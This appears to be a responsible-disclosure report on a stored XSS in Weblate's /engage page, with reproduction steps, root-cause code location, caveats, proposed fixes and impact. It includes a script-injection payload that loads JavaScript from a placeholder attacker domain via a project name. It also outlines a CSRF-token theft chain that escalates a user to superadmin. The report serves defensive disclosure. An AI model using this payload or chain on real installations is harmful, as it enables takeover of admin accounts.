Weblate · Report #472391
Stored XSS @ /engage/<project_slug>
How it was found
Description
The vulnerability concerns a Stored XSS, while it is currently (to the best of my knowledge) not exploitable due to limitations stated below. I thought that the issue is worth reporting anyway.
Steps to reproduce
- Change a project's name (or create one) to the following payload:
<script src="http://<adversery_domain>/payload.js"></script>, where<adversary_domain>could be any domain that you own. For testing purposes you can host the javascript file on localhost. - Navigate to
/engage/<project_slug>, where<project_slug>is the project's url slug. - Any javascript payload you host will be executed under the origin of weblate.
Referenced code
The code that is the root cause for the vulnerability is under: weblate/trans/views/basic.py:show_engage:123, where show_engage is the view called for the /engage/<project_slug> url.
Caveats
- A project's name is limited to 60 characters, therefore we cannot inject our payload straight into it. A bypass for that is the one referenced in step 1, where we load an external javascript file from a domain we own.
- By default the application's CSP only allows scripts from certain domains (cdnjs etc.). Although, the default CSP allows
unsafe-inlinewhen any CDN is enabled. - The session cookie is uses the attributes
HttpOnlyandSameSite=lax, therefore hijacking the superadmin's session token is impossible (for most browsers). - In order to perform the attack, you have to own a user account that can change a project's name, which is true for any project administrator.
Possible bypasses
- A project's name character limit is extended.
- Since the application supports file uploads and the CSP allows scripts coming from
self(current domain), one could upload their payload to the Weblate installation. This bypass would require an endpoint that accepts uploading HTML/javascript content and stores it under themediauploads.
Proof of Concept
In order to get any value of the present XSS, since we cannot steal the superadmin's session token, we can perform any action as the superadmin. That is because we can issue any GET/POST request and read the response, since we operate under the same origin as the hosted application. As mentioned before, in order to perform the following attack, we need a user account that can change a project's name.
- Issue a GET request under
admin/weblate_auth/user/in order to find our user record's ID. - Issue a GET request under
admin/weblate_auth/user/5/change/, assuming that the ID is 5 for instance. - Read the previous' request's response in order to steal the
csrfmiddlewaretokenthat Django injects to protect against such attacks. - Issue a POST request using the above information to make our user a superadmin.
The payload.js that automatically does the steps 2-4 is attached to the report (except for parsing the response for csrftokenmiddlware, which is trivial using javascript).
Proposed fixes
- Escape the project's name using django's
escapefunction before output - Remove the
unsafe-inlinedirective from the CSP when CDNs are enabled.
Impact
Given a bypass to either the project's name character limit or the CSP, any user that has the ability to change a project's name can make themselves a superuser through CSRF.